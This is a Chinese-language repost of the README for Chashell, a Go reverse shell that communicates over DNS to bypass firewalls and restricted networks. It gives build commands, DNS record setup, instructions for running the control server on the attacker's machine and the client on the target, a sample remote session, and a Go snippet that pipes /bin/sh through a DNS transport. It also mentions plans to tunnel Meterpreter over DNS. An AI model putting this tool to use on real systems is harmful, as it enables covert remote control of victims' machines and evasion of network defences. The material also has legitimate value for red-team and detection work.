Chashell:基於DNS的反向Shell

Chashell是一個由Go編寫的基於DNS進行通信的反向shell。它可用於繞過防火牆或嚴格限制的網絡。

它帶有一個名為chaserv的多客戶端控制服務器。

Chashell:基於DNS的反向Shell

通信安全

每個數據包都使用對稱加密(XSalsa20 + Poly1305)進行加密,客戶端和服務器之間使用共享密鑰。

我們計劃在未來實現非對稱加密。

協議

Chashell使用Protocol Buffers序列化消息進行通信。作為參考,協議緩衝區結構(.proto文件)在proto文件夾中可用。

這是一個(簡化的)通信圖表:

Chashell:基於DNS的反向Shell

請記住,每個數據包都經過加密,十六進制編碼,然後被打包用於DNS傳輸。

支持的系統

Chashell可以在任何支持Go編譯器的桌面系統使用(如Windows,Linux,Darwin,BSD衍生版本)。

我們已在以下系統進行了測試:

Windows (386/amd64)

Linux (386/amd64/arm64)

OS X (386/amd64)

Chaserv/Chashell 使用

構建

在運行這些命令之前,請確保已正確配置GOPATH環境變量。

構建所有二進制文件(根據需要調整domain_name和encryption_key):

$ export ENCRYPTION_KEY=$(python -c 'from os import urandom; p r i n t ( u r a n d o m ( 3 2 ) . e n code("hex"))')

$ export DOMAIN_NAME=c.sysdream.com

$ make build-all

為特定平臺構建:$ make build-all OSARCH="linux/arm"

僅構建服務器:$ make build-server

僅構建客戶端(chashell本身):$ make build-client

DNS 設置

購買並配置你選擇的域名。

設置DNS記錄:

chashell 300 IN A [SERVERIP]

c 300 IN NS chashell.[DOMAIN].

使用

在服務器端(攻擊者的計算機),你必須使用chaserv二進制文件。對於客戶端(即目標),請使用chashell二進制文件。

因此:

在控制服務器運行chaserv

在目標計算機運行chashell

客戶端現在應該回連到chaserv:

[n.chatelain]$ sudo ./chaserv

chashell >>> New session : 5c54404419e59881dfa3a757

chashell >>> sessions 5c54404419e59881dfa3a757

Interacting with session 5c54404419e59881dfa3a757.

whoami

n.chatelain ls /

bin

boot

dev

[...]

usr

var

使用sessions [sessionid]命令與客戶端進行交互。與之交互過程中,你可以使用background命令將會話轉為後臺執行,並返回到chashell提示符。

使用exit命令關閉chaserv。

實現自己的反向 shell

chashell/lib/transport庫與io.Reader/io.Writer接口兼容。因此,實現反向shell非常簡單:

cmd :=

exec.Command("/bin/sh")

dnsTransport := transport.DNSStream(targetDomain, encryptionKey)

cmd.Stdout = dnsTransport

cmd.Stderr = dnsTransport

cmd.Stdin = dnsTransport cmd.Run()

未來計劃

實現非對稱加密(Curve25519,XSalsa20和Poly1305)

使用InfoPacket消息檢索主機名

創建代理/中繼工具隧道TCP/UDP流(通過DNS進行Meterpreter!)

更好的錯誤處理

擺脫依賴

文稿轉自freebuf。


分享到:


相關文章: